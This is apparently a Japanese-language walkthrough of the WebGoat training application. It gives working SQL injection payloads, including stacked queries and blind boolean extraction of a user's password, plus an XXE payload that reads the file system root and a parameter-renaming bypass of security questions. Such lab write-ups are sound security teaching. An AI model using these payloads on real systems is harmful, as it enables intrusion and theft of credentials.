WebGoat
WebGoatは、わざと脆弱性を含ませたWebアプリケーションであり、レッスン形式でセキュリティを学べるようになっている。
セットアップ
以下に記載されている手順に従いセットアップ
https://github.com/WebGoat/WebGoat
https://hub.docker.com/r/webgoat/webgoat-8.0/
docker pull webgoat/webgoat-8.0
docker run -p 8080:8080 -t webgoat/webgoat-8.0
General
HTTP Basics
目的
フォームにユーザ名を入力してsubmitすると基本的なHTTPリクエストの処理が行われる。
その基本的な処理が理解できていればOK。
解答
Page2
フォームにユーザ名を入力すると入力したユーザ名が反転して表示される。
Page3
フォームでの送信がGETかPOSTかというのとmagic numberがなんだったかを答えればOK
※magic numberはソースなどに直接記述された数値で実装者本人にしか意図が理解できないようなものをさす。
Chromeのdevtoolをみると以下のようにRequest MethodはPOST, magic numberは44とわかるので再度フォームに入力して送信するとクリア
HTTP Proxies
目的
リクエストメソッドを書き換えたりヘッダを書き換えたりすることで意図しない挙動をさせることができることを理解する
解答
Page1~5
ツールの説明が記載されているだけなので割愛
Page6
フォームがあり、送信するとPOSTメソッドで入力値が送られる。
課題は
- GETメソッドで値を送信する
- Form Dataを「changeMe」から「Requests are tampered easily」に変更する
今回はローカルプロキシを使用しヘッダを改ざんすることで実現する。
OWASP ZAPを使ってブラウザとサーバ間の途中でbreak、ヘッダを追加する
メソッドをGET、ヘッダにx-request-intercepted:true
を追加して送信する。
Injection Flaws
SQL Injection
目的
SQLインジェクションについて学ぶ
解答
Page7
フォームで入力した値を使用してSQLが実行されるのですべてのユーザー情報を取得できればクリアとなる。
おそらくSQLはSELECT * FROM xxx WHERE user_name = '変数'
のような感じになっており、フォームで入力した値が変数に入るはず。
なので以下のような感じで入力してやるとクリアになる。
' OR 'x' = 'x
変数に入れると以下のようになり、WHEREの後半の部分が全てtrueになるので全ての情報が表示されてしまう。
SELECT * FROM xxx WHERE user_name = '' OR 'x' = 'x'
Page8
Page8と同じだがユーザ名ではなくユーザIDでの取得になっているので1 OR 'x' = 'x'
のような感じでOK。
'
があるかないかの違い。
ちなみに;
で別クエリ投げれるかと思ったが、そっちは対応されていた。
対策
エスケープ処理はしっかりと。
SQL Injection (mitigation)
目的
リクエストメソッドを書き換えたりヘッダを書き換えたりすることで意図しない挙動をさせることができることを理解する
解答
Page8
SQL Injection (advanced)
目的
SQLインジェクション手法の組み合わせとブラインドSQLインジェクション
解答
Page3
以下で作成されているテーブルに対してSQLインジェクションをする
CREATE TABLE user_system_data (userid int not null primary key,
user_name varchar(12),
password varchar(10),
cookie varchar(30));
6a)
ユーザ名を入力するとそのユーザの情報を取得できる。
;
はエスケープされていなかったので別のクエリを連結してSQLを実行する。
普通はテーブル名はわからないのでテーブル名を見れるかをやってみたが、user lacks privilege or object not found: ALL_TABLES
となりダメだったのでさっさと課題の解答にすすむ。
とりあえず以下で実行。
';SELECT * FROM user_system_data;
';
でもともとのSQLを終了させて、実行したいSQLを入力する。
ただし、上記を実行しても'
でエラーになる。
SELECT xxx FROM user_system=data WHERE user_name = "'" + 変数 + "'"
みないな感じなSQLになっていると思われるので先ほど入力した値を入れると
SELECT xxx FROM user_system=data WHERE user_name = '';SELECT * FROM user_system_data;'
となり、最後の'
エラーになっていると思われる。なので--
をつけて入力した値の後続のSQL文を全てコメントアウトする。
';SELECT * FROM user_system_data; --
でクリアとなった
6b)
Daveのパスワードを送信すればクリアになる
6aで全てのユーザの情報が取得できているので表示されているパスワードpassW0rD
を入力すればクリアになる。
Page5
いろいろ試していたら以下のことがわかった。
- LOGIN画面では特にインジェクションできそうなことはない
- REGISTER画面
- SQLインジェクションするために使う
';
がエスケープされていないかみるために'; --
とすると「User '; -- created, please proceed to the login page.」となるので普通に使えそう。 - 同じユーザ名で登録しようとすると「User ユーザ名 already exists please try to register with a different username.」と表示されるのでユーザがすでに存在するかがわかる
- 同じユーザ名のアカウントがないかを調べるためにSQLを実行していると思われるので、true/falseの挙動をみてみる。
trueの時: 「User tom' and 'a' = 'a'; -- already exists please try to register with a different username.」
falseの時: 「User tom' and 'a' = 'b'; -- created, please proceed to the login page.」
という表示になる。 -
length(password) > 1
とすると「User tom' and length(password) > 1 ; -- already exists please try to register with a different username.」となることからパスワードはpasswordというカラム名に保存されている - よくあるパスワード8桁とか適当な値で<, >を使って範囲を絞っていき、最後は順番に値をいれていくとパスワードは23桁ということがわかる。(User tom' and length(password) = 23 ; -- already exists please try to register with a different username.)
- 次に文字列をさぐるために先ほど同様に
tom' and substring(password, 1, 1) > 'm' --
(User tom' and substring(password, 1, 1) < 'm' -- created, please proceed to the login page.)と順番に探っていくと最初の文字は「t」ということがわかる(User tom' and substring(password, 1, 1) = 't' -- already exists please try to register with a different username.)
あとはsubstring()
で切り取る場所をかえつつ地道に探っていくだけ。最終的にパスワードは「thisisasecretfortomonly」になる。長い...
XXE
目的
XML External Entity attack(XXE)について学ぶ
XXEは文字通りXmlを外部から受け取りそれを元に動的にドキュメントを作成する機能を利用して行われる攻撃。
<!ENTITY hoge SYSTEM "attack.xml">
<hoge>&hoge;</hoge>
とした時&hoge;にattack.xmlの内容が表示されてしまう。(実体参照)
この仕組みを利用して意図しないファイルを参照するようにインジェクションを行う
解答
Page 3
以下のフォームがあるのでファイルシステムのルートディレクトリのリストを閲覧すればクリアとなる
試しに&hoge;
と打つと以下のようにParseErrorが出るので外部参照していそう。
javax.xml.bind.UnmarshalExceptionn - with linked exception:n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,45]nMessage: The entity "hoge" was referenced, but not declared.]ntat com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallerImpl.handleStreamException(UnmarshallerImpl.java:485)ntat com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallerImpl.unmarshal0(UnmarshallerImpl.java:417)ntat com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallerImpl.unmarshal(UnmarshallerImpl.java:386)ntat org.owasp.webgoat.plugin.Comments.parseXml(Comments.java:73)ntat org.owasp.webgoat.plugin.SimpleXXE.createNewComment(SimpleXXE.java:70)ntat java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)ntat
OWASP ZAPでsubmitのところにbreakポイントを仕込みリクエストをみてみると以下のようになっている。
<?xml version="1.0"?><comment> <text>&hoge;</text></comment>
上記を以下のように変更してリクエストするとクリア
<?xml version="1.0"?>
<!DOCTYPE comment [
<!ENTITY hoge SYSTEM "file:///">
]>
<comment><text>&hoge;</text></comment>
Page 4
Page3とほぼ同じ。
Content-Typeがapplication/jsonになっているのでapplication/xmlに変えればOK
Authentication Flaws
Authentication Bypasses
Page2
パスワードの再設定画面で2要素認証をバイパスして再設定できればクリアとなる
とりあえず適当な値を入力してZAPでリクエストをみてみると以下のようになっている
secQuestion0=x&secQuestion1=x&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
とりあえず秘密の質問っぽいやつを消してみる
jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
→ 「Not quite, please try again.」
未入力になった。
次に変数名を壊してみる
ecQuestion0=x&ecQuestion1=xjsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
→ 「Not quite, please try again.」
変わらず。
次にsecQuestion0
とsecQuestion1
という変数名を適当にsecQuestion10
,secQuestion11
みたいな感じに変更してリクエスト
secQuestion10=x&secQuestion11=x&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
→ 「Congrats, you have successfully verified the account without actually verifying it. You can now change your password!」
いけた。
正直なぜいけたかわかってない。secQuestion+数値を処理するようになっている?質問は2つ送られていればOKとしている?
残りは少しづつ更新していきます。